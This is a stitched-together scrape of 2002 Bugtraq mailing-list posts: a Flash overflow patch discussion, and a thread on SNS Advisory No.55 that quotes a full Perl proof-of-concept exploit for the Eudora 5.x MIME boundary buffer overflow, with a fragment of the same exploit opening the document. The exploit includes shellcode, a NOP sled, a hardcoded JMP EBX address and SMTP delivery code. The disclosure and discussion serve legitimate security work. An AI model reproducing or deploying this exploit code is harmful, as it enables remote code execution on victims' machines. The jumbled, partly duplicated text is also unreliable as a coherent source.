"\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB"; $egg .= "\xFD\xE8\xD4\xFF\xFF\xFF"; $egg .= "notepad.exe"; $buf = "\x90" x 117; $buf .= $egg; $buf .= "\xEB\xA0"; #JMP -0x60 $buf .= "A" x 2; $buf .= $jmp_ebx_jp; $hoge = ; print SOCKET "HELO hoge\x0D\x0A"; $hoge = ; print SOCKET "MAIL FROM:<$env_from>\x0D\x0A"; $hoge = ; print SOCKET "RCPT TO:<$env_to>\x0D\x0A"; $hoge = ; print SOCKET "DATA\x0D\x0A"; $hoge = ; print SOCKET << "_EOD_"; MIME-Version: 1.0\x0D >From: $from\x0D To: $to\x0D Content-Type: multipart/mixed; boundary="$buf"\x0D \x0D .\x0D _EOD_ $hoge = ;print $hoge; print SOCKET "QUIT\x0D\x0A"; $hoge = ; -- Kanatoko <[EMAIL PROTECTED]> JUMPER : http://www.jumperz.net/ On Fri, 9 Aug 2002 21:19:17 -0500 (CDT) Steven Michaud <[EMAIL PROTECTED]> wrote: > It's not too surprising that this exploit doesn't work on English > Windows 2000 Pro, with or without SP2. But I can't even get it to > crash Eudora (5.1 or 5.1.1) unless I open the hacked message, > right-click on it, and feed it through the "Unwrap Text" plugin. > > Has anyone ported this exploit to English Windows 2000? If so, when > is the exploit triggered? (In the preview pane? When you open the > message? Under some other circumstances?) > > Likewise, when is the exploit triggered on Japanese Windows 2000 Pro? > > Thanks in advance! >
RE: EEYE: Macromedia Shockwave Flash Malformed Header Overflow
Is there anyway to turn off the Flash ActiveX control for Windows? I've tried removing it from my system and Web sites just keep downloading it again. If I turn off ActiveX completely, then Internet Explorer is constantly warning me that Web pages that use Flash-based banner ads will not be displayed properly. All I want to do is a surf the Web with a little less motion on the screen. I've already turned off animated GIFs which partially solves the problem. The ability to turn Flash is also important given the recent spate of Flash security holes. Richard M. Smith http://www.ComputerBytesMan.com -Original Message- From: Mike Chambers [mailto:[EMAIL PROTECTED]] Sent: Friday, August 09, 2002 5:44 PM To: 'BUGTRAQ' Subject: RE: EEYE: Macromedia Shockwave Flash Malformed Header Overflow The linux and solaris updates will be avaliable later today. You will be able to download it at: www.macromedia.com/go/getflashplayer/ mike chambers [EMAIL PROTECTED] > -Original Message- > From: Scott Lampert [mailto:[EMAIL PROTECTED]] > Sent: Friday, August 09, 2002 3:45 PM > To: BUGTRAQ > Subject: Re: EEYE: Macromedia Shockwave Flash Malformed > Header Overflow > > > On Thu, Aug 08, 2002 at 05:26:20PM -0700, Marc Maiffret wrote: > > Vendor Status: > > Macromedia has released a patch for this vulnerability, > available at: > > > http://www.macromedia.com/v1/handlers/index.cfm?ID=23293&Metho d=Full&Title=M > PSB02%2D09%20%2D%20Macromedia%20Flash%20Malformed%20Header%20Vulnerabili ty%2 > 0Issue&Cache=False > > Discovery: Drew Copley > Exploitation: Riley Hassell > As far as I can see there is no update to the UNIX versions. The files are all dated March 25. The bulletin describes version 6 of the Flash player as the fix, however that doesn't seem to be available for anything other than Windows and Mac. Am I missing something? -Scott -- Scott Lampert <[EMAIL PROTECTED]> "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, 1759 Public Key: http://www.lampert.org/public_key.asc
Re: [SNS Advisory No.55] Eudora 5.x for Windows Buffer OverflowVulnerability
It's not too surprising that this exploit doesn't work on English Windows 2000 Pro, with or without SP2. But I can't even get it to crash Eudora (5.1 or 5.1.1) unless I open the hacked message, right-click on it, and feed it through the "Unwrap Text" plugin. Has anyone ported this exploit to English Windows 2000? If so, when is the exploit triggered? (In the preview pane? When you open the message? Under some other circumstances?) Likewise, when is the exploit triggered on Japanese Windows 2000 Pro? Thanks in advance! On Tue, 6 Aug 2002, Kanatoko wrote: > > This is a proof of concept exploit for Eudora 5.x buffer overflow. > > Tested on: > Japanese Windows 2000 Professional SP2 > Eudora Version 5.0.2-Jr2 > > > #!/usr/local/bin/perl > > #- > # Eudora Version 5.0.2-Jr2 exploit for Japanese Windows 2000 Pro (SP2) > # written by Kanatoko <[EMAIL PROTECTED]> > # http://www.jumperz.net/ > #- > > use Socket; > > $connect_host = 'mail.jumperz.net'; > $port = 25; > $env_from = '[EMAIL PROTECTED]'; > $env_to = '[EMAIL PROTECTED]'; > $from = '[EMAIL PROTECTED]'; > $to = '[EMAIL PROTECTED]'; > > $iaddr = inet_aton($connect_host) || die "Host Resolve Error.\n"; > $sock_addr = pack_sockaddr_in($port,$iaddr); > socket(SOCKET,PF_INET,SOCK_STREAM,0) || die "Socket Error.\n"; > connect(SOCKET,$sock_addr) || die "Connect Error\n"; > select(SOCKET); $|=1; select(STDOUT); > > #egg written by UNYUN (http://www.shadowpenguin.org/) > #57bytes > $egg = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2"; > $egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7"; > $egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C"; > $egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB"; > $egg .= "\xFD\xE8\xD4\xFF\xFF\xFF"; > $egg .= "notepad.exe"; > > $buf = "\x90" x 121; > $buf .= $egg; > $buf .= "\xEB\xA0"; #JMP -0x60 > $buf .= "A" x 2; > $buf .= "\x97\xAC\xE3\x77"; #0x77e3ac97 JMP EBX in user32.dll > > $hoge = ; > print SOCKET "HELO hoge\x0D\x0A"; > $hoge = ; > print SOCKET "MAIL FROM:<$env_from>\x0D\x0A"; > $hoge = ; > print SOCKET "RCPT TO:<$env_to>\x0D\x0A"; > $hoge = ; > print SOCKET "DATA\x0D\x0A"; > $hoge = ; > > print SOCKET << "_EOD_"; > MIME-Version: 1.0\x0D > >From: $from\x0D > To: $to\x0D > Content-Type: multipart/mixed; boundary="$buf"\x0D > \x0D > .\x0D > _EOD_ > $hoge = ; > print SOCKET "QUIT\x0D\x0A"; > $hoge = ; > > > -- > Kanatoko <[EMAIL PROTECTED]> > JUMPER : http://www.jumperz.net/(Japanese) > > > On Mon, 05 Aug 2002 15:24:25 +0900 > [EMAIL PROTECTED] wrote: > > > -- > > SNS Advisory No.55 > > Eudora 5.x for Windows Buffer Overflow Vulnerability > > > > Problem first discovered: 6 Jun 2002 > > Published: 5 Aug 2002 > > -- > > > > Overview: > > - > > Eudora 5.x for Windows contains a buffer overflow vulnerability, > > which could allow a remote attacker to execute arbitrary code. > > > > Problem Description: > > > > Eudora developed and distributed by QUALCOMM Inc. > > (http://www.qualcomm.com/), is a Mail User Agent running on Windows > > 95/98/2000/ME/NT 4.0 and MacOS 8.1 or later. > > > > The buffer overflow occurs when Eudora receives a message using a long > > string as a boundary, which is used to divide a multi-part message into > > separate parts. In our verification environment, we have found that > > this could allow arbitrary commands to be executed. > > > > Tested Version: > > --- > > Eudora 5.0-J for Windows (Ver.5.0.2-Jr2 trial) [Japanese] > > Eudora 5.1.1 for Windows (Sponsored Mode) [English] > > > > Tested OS: > > -- > > Microsoft Windows 2000 Professional SP2 [Japanese] > > Microsoft Windows 98 SE [Japanese] > > > > Solution: > > - > > The problem will be fixed in the next release of Eudora. > > The vendor has not reported when the next release will be available. > > > > Communication background: > > - > > 6 Jun 2002 : We discovered the vulnerability. > > 6 Jun 2002 : We reported the findings to Livin' on the EDGE Co., Ltd. > >(user support of Japanese version) . > > 14 Jun 2002 : the findings were reported again to Livin' on the EDGE Co., > >Ltd. . > > 17 Jun 2002 : We contacted QUALCOMM Inc. . > > 18 Jun 2002 : QUALCOMM Inc. sent a reply stating that they had started an > >investigation of the problem. > > 3 Jul 2002 : We asked QUALCOMM Inc. about the progress of the > >investigation > > 19 Jul 2002 : We asked QUALCOMM Inc. again about the progress of the > >investigation > > 24 Jul 2002 : We informed QUALCOMM Inc. about the announcement schedule > >of this a
